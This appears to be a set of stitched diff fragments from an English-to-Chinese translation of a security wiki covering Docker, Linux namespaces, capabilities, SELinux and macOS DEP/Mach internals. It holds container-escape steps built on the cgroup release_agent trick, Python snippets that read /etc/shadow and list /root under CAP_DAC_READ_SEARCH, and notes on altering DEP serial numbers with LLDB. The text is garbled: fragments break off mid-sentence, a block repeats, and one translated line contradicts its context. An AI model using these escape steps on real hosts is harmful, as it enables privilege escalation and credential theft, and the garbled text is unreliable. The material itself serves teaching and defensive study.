For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication. - -The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings: +Docker 引擎可以通过 Unix 套接字本地访问，也可以通过 HTTP 远程访问。对于远程访问，使用 HTTPS 和 **TLS** 确保机密性、完整性和身份验证是至关重要的。 +Docker 引擎默认在 `unix:///var/run/docker.sock` 上监听。在 Ubuntu 系统上，Docker 的启动选项在 `/etc/default/docker` 中定义。要启用对 Docker API 和客户端的远程访问，通过添加以下设置来通过 HTTP 套接字暴露 Docker 守护进程： ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` +然而，由于安全问题，不建议通过 HTTP 暴露 Docker 守护进程。建议使用 HTTPS 来保护连接。保护连接的主要方法有两种： -However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection: +1. 客户端验证服务器的身份。 +2. 客户端和服务器相互验证对方的身份。 -1. The client verifies the server's identity. -2. Both the client and server mutually authenticate each other's identity. +证书用于确认服务器的身份。有关这两种方法的详细示例，请参阅 [**此指南**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)。 -Certificates are utilized to confirm a server's identity.

-Summary of Container Security Features +容器安全特性摘要 -**Main Process Isolation Features** +**主要进程隔离特性** -In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts: +在容器化环境中，隔离项目及其进程对于安全和资源管理至关重要。以下是关键概念的简化解释： -**Namespaces** +**命名空间** -- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers. -- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does. -- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry. +- **目的**：确保进程、网络和文件系统等资源的隔离。特别是在 Docker 中，命名空间使容器的进程与主机和其他容器分开。 +- **`unshare` 的使用**：`unshare` 命令（或底层系统调用）用于创建新的命名空间，提供额外的隔离层。然而，虽然 Kubernetes 本身并不阻止这一点，但 Docker 确实会。 +- **限制**：创建新命名空间并不允许进程恢复到主机的默认命名空间。要穿透主机命名空间，通常需要访问主机的 `/proc` 目录，使用 `nsenter` 进行进入。 -**Control Groups (CGroups)** +**控制组 (CGroups)** -- **Function**: Primarily used for allocating resources among processes. -- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access. +- **功能**：主要用于在进程之间分配资源。 +- **安全方面**：CGroups 本身不提供隔离安全，除了 `release_agent` 特性，如果配置错误，可能会被利用进行未经授权的访问。 -**Capability Drop** +**能力丢弃** -- **Importance**: It's a crucial security feature for process isolation. -- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions. - -These are the **remaining capabilities** after the process drop the others: +- **重要性**：这是进程隔离的重要安全特性。 +- **功能**：通过丢弃某些能力来限制根进程可以执行的操作。即使进程以根权限运行，缺乏必要的能力也会阻止其执行特权操作，因为系统调用将因权限不足而失败。 +这些是进程丢弃其他能力后的 **剩余能力**： ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` - **Seccomp** -It's enabled by default in Docker.

The **plugin** is responsible for deciding whether to **allow** or **deny** the request. +当通过 CLI 或引擎 API 向 Docker **守护进程** 发出 **HTTP** **请求** 时，**身份验证** **子系统** 会将请求传递给已安装的 **身份验证** **插件**。请求包含用户（调用者）和命令上下文。**插件** 负责决定是否 **允许** 或 **拒绝** 请求。 -The sequence diagrams below depict an allow and deny authorization flow: +下面的序列图描绘了允许和拒绝的授权流程： ![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png) ![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) -Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. +每个发送到插件的请求 **包括经过身份验证的用户、HTTP 头和请求/响应主体**。只有 **用户名** 和 **使用的身份验证方法** 被传递给插件。最重要的是，**不** 会传递用户 **凭据** 或令牌。最后，**并非所有请求/响应主体都发送** 到授权插件。只有那些 `Content-Type` 为 `text/*` 或 `application/json` 的请求/响应主体会被发送。 -For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. +对于可能劫持 HTTP 连接的命令（`HTTP Upgrade`），如 `exec`，授权插件仅在初始 HTTP 请求时被调用。一旦插件批准命令，后续流程不再应用授权。具体来说，流数据不会传递给授权插件。对于返回分块 HTTP 响应的命令，如 `logs` 和 `events`，仅 HTTP 请求会发送到授权插件。 -During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. +在请求/响应处理期间，一些授权流程可能需要对 Docker 守护进程进行额外查询。为了完成这些流程，插件可以像普通用户一样调用守护进程 API。为了启用这些额外查询，插件必须提供管理员配置适当身份验证和安全策略的手段。 -## Several Plugins +## 多个插件 -You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**.

Here's a breakdown of the steps involved: - -1. **Prepare the Environment:** - - A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup. - - The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative. - +1. **准备环境：** +- 创建一个目录 `/tmp/cgrp` 作为 cgroup 的挂载点。 +- 将 RDMA cgroup 控制器挂载到该目录。如果 RDMA 控制器不存在，建议使用 `memory` cgroup 控制器作为替代。 ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` - -2. **Set Up the Child Cgroup:** - - A child cgroup named "x" is created within the mounted cgroup directory. - - Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file. - +2. **设置子 Cgroup：** +- 在挂载的 cgroup 目录中创建一个名为 "x" 的子 cgroup。 +- 通过向其 notify_on_release 文件写入 1 来为 "x" cgroup 启用通知。 ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` - -3. **Configure the Release Agent:** - - The path of the container on the host is obtained from the /etc/mtab file. - - The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path. - +3. **配置释放代理：** +- 从 /etc/mtab 文件中获取主机上容器的路径。 +- 然后将 cgroup 的 release_agent 文件配置为执行位于获取的主机路径上的名为 /cmd 的脚本。 ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` - -4. **Create and Configure the /cmd Script:** - - The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container.

The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released. -4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file.

-Error: bash: fork: Cannot allocate memory +错误：bash: fork: 无法分配内存 -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +当 `unshare` 在没有 `-f` 选项的情况下执行时，由于 Linux 处理新的 PID（进程 ID）命名空间的方式，会遇到错误。关键细节和解决方案如下： -1. **Problem Explanation**: +1. **问题解释**： - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而，启动新 PID 命名空间创建的进程（称为“unshare”进程）并不会进入新的命名空间；只有它的子进程会进入。 +- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此，`/bin/bash` 及其子进程位于原始 PID 命名空间中。 +- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时，如果没有其他进程，它会触发命名空间的清理，因为 PID 1 具有收养孤儿进程的特殊角色。然后，Linux 内核将禁用该命名空间中的 PID 分配。 -2. **Consequence**: +2. **后果**： - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag.

However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces. -2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag.

-Error: bash: fork: Cannot allocate memory +错误：bash: fork: 无法分配内存 -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +当 `unshare` 在没有 `-f` 选项的情况下执行时，由于 Linux 处理新的 PID（进程 ID）命名空间的方式，会遇到错误。关键细节和解决方案如下： -1. **Problem Explanation**: +1. **问题解释**： - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而，启动新 PID 命名空间创建的进程（称为 "unshare" 进程）并不会进入新的命名空间；只有它的子进程会进入。 +- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此，`/bin/bash` 及其子进程位于原始 PID 命名空间中。 +- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时，如果没有其他进程，它会触发命名空间的清理，因为 PID 1 具有收养孤儿进程的特殊角色。然后，Linux 内核将禁用该命名空间中的 PID 分配。 -2. **Consequence**: +2. **后果**： - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID，从而产生 "无法分配内存" 的错误。 -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **解决方案**： +- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。 +- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中，防止 PID 1 提前退出，并允许正常的 PID 分配。 -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +通过确保 `unshare` 以 `-f` 标志运行，新的 PID 命名空间得以正确维护，使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。

Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). -**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 使进程能够 **绕过读取文件和读取及执行目录的权限**。它的主要用途是用于文件搜索或读取。然而，它还允许进程使用 `open_by_handle_at(2)` 函数，该函数可以访问任何文件，包括那些在进程的挂载命名空间之外的文件。在 `open_by_handle_at(2)` 中使用的句柄应该是通过 `name_to_handle_at(2)` 获得的非透明标识符，但它可以包含易受篡改的敏感信息，如 inode 号。该能力的潜在利用，特别是在 Docker 容器的上下文中，已由 Sebastian Krahmer 通过 shocker 漏洞进行了演示，分析见 [这里](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)。 +**这意味着您可以** **绕过文件读取权限检查和目录读取/执行权限检查。** -**Example with binary** - -The binary will be able to read any file.

In order to list root files you could do: - +在这种情况下，假设 **`python`** 二进制文件具有此能力。为了列出根文件，您可以执行： ```python import os for r, d, f in os.walk('/root'): - for filename in f: - print(filename) +for filename in f: +print(filename) ``` - -And in order to read a file you could do: - +为了读取文件，你可以这样做： ```python print(open("/etc/shadow", "r").read()) ``` +**示例环境（Docker 逃逸）** -**Example in Environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +您可以使用以下命令检查 Docker 容器内启用的能力： ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +在之前的输出中，您可以看到 **DAC_READ_SEARCH** 能力已启用。因此，容器可以 **调试进程**。 -Inside the previous output you can see that the **DAC_READ_SEARCH** capability is enabled.

This capability enables the viewing of kernel addresses via `/proc` and similar interfaces when the `kptr_restrict` setting is at 1, which controls the exposure of kernel addresses.

However, a process can only modify capabilities that it possesses in its own permitted set, ensuring it cannot elevate another process's privileges beyond its own. Recent kernel updates have tightened these rules, restricting `CAP_SETPCAP` to only diminish the capabilities within its own or its descendants' permitted sets, aiming to mitigate security risks. Usage requires having `CAP_SETPCAP` in the effective set and the target capabilities in the permitted set, utilizing `capset()` for modifications. This summarizes the core function and limitations of `CAP_SETPCAP`, highlighting its role in privilege management and security enhancement. +**CAP_SETPCAP** 使进程能够 **更改另一个进程的能力集**，允许从有效、可继承和允许的集合中添加或删除能力。然而，进程只能修改其在自己允许集合中拥有的能力，确保它无法将另一个进程的权限提升到超出其自身的权限。最近的内核更新收紧了这些规则，限制 `CAP_SETPCAP` 只能减少其自身或其后代的允许集合中的能力，旨在降低安全风险。使用此功能需要在有效集合中拥有 `CAP_SETPCAP`，并在允许集合中拥有目标能力，利用 `capset()` 进行修改。这总结了 `CAP_SETPCAP` 的核心功能和限制，突出了其在权限管理和安全增强中的作用。 -**`CAP_SETPCAP`** is a Linux capability that allows a process to **modify the capability sets of another process**. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used. +**`CAP_SETPCAP`** 是一个 Linux 能力，允许进程 **修改另一个进程的能力集**。它授予从其他进程的有效、可继承和允许能力集中添加或删除能力的能力。然而，使用此能力有某些限制。 -A process with `CAP_SETPCAP` **can only grant or remove capabilities that are in its own permitted capability set**. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege. +拥有 `CAP_SETPCAP` 的进程 **只能授予或移除其自身允许能力集中存在的能力**。换句话说，如果一个进程自己没有某个能力，它就不能将该能力授予另一个进程。这一限制防止了进程将另一个进程的权限提升到超出其自身的权限级别。 -Moreover, in recent kernel versions, the `CAP_SETPCAP` capability has been **further restricted**. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it **only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants**.

If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) 是一个**标签** **系统**。每个**进程**和每个**文件**系统对象都有一个**标签**。SELinux策略定义了关于**进程标签可以对系统上所有其他标签执行的操作**的规则。 +容器引擎以单个受限的SELinux标签启动**容器进程**，通常为`container_t`，然后将容器内部的容器设置为标签`container_file_t`。SELinux策略规则基本上表示**`container_t`进程只能读取/写入/执行标记为`container_file_t`的文件**。如果容器进程逃离容器并尝试写入主机上的内容，Linux内核将拒绝访问，并仅允许容器进程写入标记为`container_file_t`的内容。 ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb @@ -15,9 +14,8 @@ $ podman top -l label LABEL system_u:system_r:container_t:s0:c647,c780 ``` +# SELinux 用户 -# SELinux Users - -There are SELinux users in addition to the regular Linux users.

Key components include: +本研究深入探讨了与 macOS 上的设备注册程序（DEP）和移动设备管理（MDM）相关的二进制文件。关键组件包括： -- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4. -- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later. -- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles. +- **`mdmclient`**：与 MDM 服务器通信，并在 macOS 10.13.4 之前的版本上触发 DEP 检查。 +- **`profiles`**：管理配置文件，并在 macOS 10.13.4 及更高版本上触发 DEP 检查。 +- **`cloudconfigurationd`**：管理 DEP API 通信并检索设备注册配置文件。 -DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC. +DEP 检查利用私有配置文件框架中的 `CPFetchActivationRecord` 和 `CPGetActivationRecord` 函数来获取激活记录，`CPFetchActivationRecord` 通过 XPC 与 `cloudconfigurationd` 协调。 -## Tesla Protocol and Absinthe Scheme Reverse Engineering +## 特斯拉协议和 Absinthe 方案逆向工程 -The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request. +DEP 检查涉及 `cloudconfigurationd` 向 _iprofiles.apple.com/macProfile_ 发送加密的签名 JSON 负载。负载包括设备的序列号和操作 "RequestProfileConfiguration"。所使用的加密方案在内部称为 "Absinthe"。解开这个方案是复杂的，涉及多个步骤，这导致探索替代方法以在激活记录请求中插入任意序列号。 -## Proxying DEP Requests +## 代理 DEP 请求 -Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key. +使用 Charles Proxy 等工具拦截和修改对 _iprofiles.apple.com_ 的 DEP 请求的尝试受到负载加密和 SSL/TLS 安全措施的阻碍。然而，启用 `MCCloudConfigAcceptAnyHTTPSCertificate` 配置可以绕过服务器证书验证，尽管负载的加密性质仍然阻止在没有解密密钥的情况下修改序列号。 -## Instrumenting System Binaries Interacting with DEP +## 对与 DEP 交互的系统二进制文件进行插桩 -Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing. +对系统二进制文件如 `cloudconfigurationd` 进行插桩需要在 macOS 上禁用系统完整性保护（SIP）。禁用 SIP 后，可以使用 LLDB 等工具附加到系统进程，并可能修改在 DEP API 交互中使用的序列号。这种方法更可取，因为它避免了权限和代码签名的复杂性。 -**Exploiting Binary Instrumentation:** -Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved: +**利用二进制插桩：** +在 `cloudconfigurationd` 中 JSON 序列化之前修改 DEP 请求负载被证明是有效的。该过程涉及： -1. Attaching LLDB to `cloudconfigurationd`. -2.

This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**. +**macOS 的核心是 XNU**，代表“X is Not Unix”。这个内核基本上由 **Mach 微内核**（稍后讨论）和来自伯克利软件分发（**BSD**）的元素组成。XNU 还通过一个名为 I/O Kit 的系统提供 **内核驱动程序的平台**。XNU 内核是 Darwin 开源项目的一部分，这意味着 **其源代码是公开可获取的**。 -From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages. +从安全研究人员或 Unix 开发者的角度来看，**macOS** 感觉与 **FreeBSD** 系统非常 **相似**，具有优雅的 GUI 和一系列自定义应用程序。大多数为 BSD 开发的应用程序可以在 macOS 上编译和运行，而无需修改，因为 Unix 用户熟悉的命令行工具在 macOS 中都存在。然而，由于 XNU 内核包含 Mach，因此传统 Unix 类系统与 macOS 之间存在一些显著差异，这些差异可能导致潜在问题或提供独特优势。 -Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) +XNU 的开源版本：[https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**. +Mach 是一个 **微内核**，旨在 **与 UNIX 兼容**。其一个关键设计原则是 **最小化** 在 **内核** 空间中运行的 **代码** 数量，而允许许多典型的内核功能，如文件系统、网络和 I/O，**作为用户级任务运行**。 -In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management. +在 XNU 中，Mach 负责内核通常处理的许多关键低级操作，如处理器调度、多任务处理和虚拟内存管理。 ### BSD -The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including: +XNU **内核** 还 **包含** 大量来自 **FreeBSD** 项目的代码。这些代码 **与 Mach 一起作为内核的一部分运行**，在同一地址空间中。然而，XNU 中的 FreeBSD 代码可能与原始 FreeBSD 代码有显著不同，因为需要进行修改以确保其与 Mach 的兼容性。FreeBSD 为许多内核操作做出贡献，包括： -- Process management -- Signal handling -- Basic security mechanisms, including user and group management -- System call infrastructure -- TCP/IP stack and sockets -- Firewall and packet filtering +- 进程管理 +- 信号处理 +- 基本安全机制，包括用户和组管理 +- 系统调用基础设施 +- TCP/IP 堆栈和套接字 +- 防火墙和数据包过滤 -Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure. +由于 BSD 和 Mach 之间的不同概念框架，理解它们之间的交互可能很复杂。例如，BSD 使用进程作为其基本执行单元，而 Mach 基于线程操作。这种差异在 XNU 中通过 **将每个 BSD 进程与一个包含恰好一个 Mach 线程的 Mach 任务关联** 来调和。当使用 BSD 的 fork() 系统调用时，内核中的 BSD 代码使用 Mach 函数来创建任务和线程结构。 -Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel. +此外，**Mach 和 BSD 各自维护不同的安全模型**：**Mach 的** 安全模型基于 **端口权限**，而 BSD 的安全模型基于 **进程所有权**。这两种模型之间的差异偶尔会导致本地特权提升漏洞。除了典型的系统调用外，还有 **Mach 陷阱，允许用户空间程序与内核交互**。这些不同的元素共同构成了 macOS 内核的多面性混合架构。 -### I/O Kit - Drivers +### I/O Kit - 驱动程序 -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**.

When a port is destroyed, all existing port rights to the port turn into dead names. +- **接收权限**，允许接收发送到端口的消息。Mach 端口是 MPSC（多个生产者，单个消费者）队列，这意味着在整个系统中每个端口只能有 **一个接收权限**（与管道不同，多个进程可以持有一个管道的读端文件描述符）。 +- 拥有 **接收权限** 的 **任务** 可以接收消息并 **创建发送权限**，允许其发送消息。最初只有 **自己的任务对其端口拥有接收权限**。 +- **发送权限**，允许向端口发送消息。 +- 发送权限可以被 **克隆**，因此拥有发送权限的任务可以克隆该权限并 **授予给第三个任务**。 +- **一次性发送权限**，允许向端口发送一条消息，然后消失。 +- **端口集权限**，表示一个 _端口集_ 而不是单个端口。从端口集中出队一条消息会从其包含的一个端口中出队一条消息。端口集可以用于同时监听多个端口，类似于 Unix 中的 `select`/`poll`/`epoll`/`kqueue`。 +- **死名称**，这不是一个实际的端口权限，而仅仅是一个占位符。当一个端口被销毁时，所有现有的对该端口的端口权限变成死名称。 -**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks. +**任务可以将发送权限转移给其他任务**，使其能够发送消息。**发送权限也可以被克隆，因此一个任务可以复制并将权限授予第三个任务**。这与一个称为 **引导服务器** 的中介进程结合，使任务之间的有效通信成为可能。 -### File Ports +### 文件端口 -File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights).

Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process. -2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**. -3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register. -4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**. -5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**. -6. For a bi-directional communication usually task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** so it can send messages to TASK B (bi-directional communication). +1. 任务 **A** 发起一个 **新端口**，在此过程中获得 **接收权限**。 +2. 任务 **A**，作为接收权限的持有者，**为该端口生成一个发送权限**。 +3. 任务 **A** 与 **引导服务器** 建立 **连接**，提供 **端口的服务名称** 和 **发送权限**，通过称为引导注册的过程。 +4. 任务 **B** 与 **引导服务器** 交互以执行服务名称的引导 **查找**。如果成功，**服务器复制从任务 A 接收到的发送权限** 并 **将其传输给任务 B**。 +5. 在获得发送权限后，任务 **B** 能够 **构造** 一条 **消息** 并将其 **发送给任务 A**。 +6. 对于双向通信，通常任务 **B** 生成一个带有 **接收** 权限和 **发送** 权限的新端口，并将 **发送权限授予任务 A**，以便其可以向任务 B 发送消息（双向通信）。 -The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request. +引导服务器 **无法验证** 任务声称的服务名称。这意味着一个 **任务** 可能会 **冒充任何系统任务**，例如虚假 **声称一个授权服务名称**，然后批准每个请求。 -Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**.

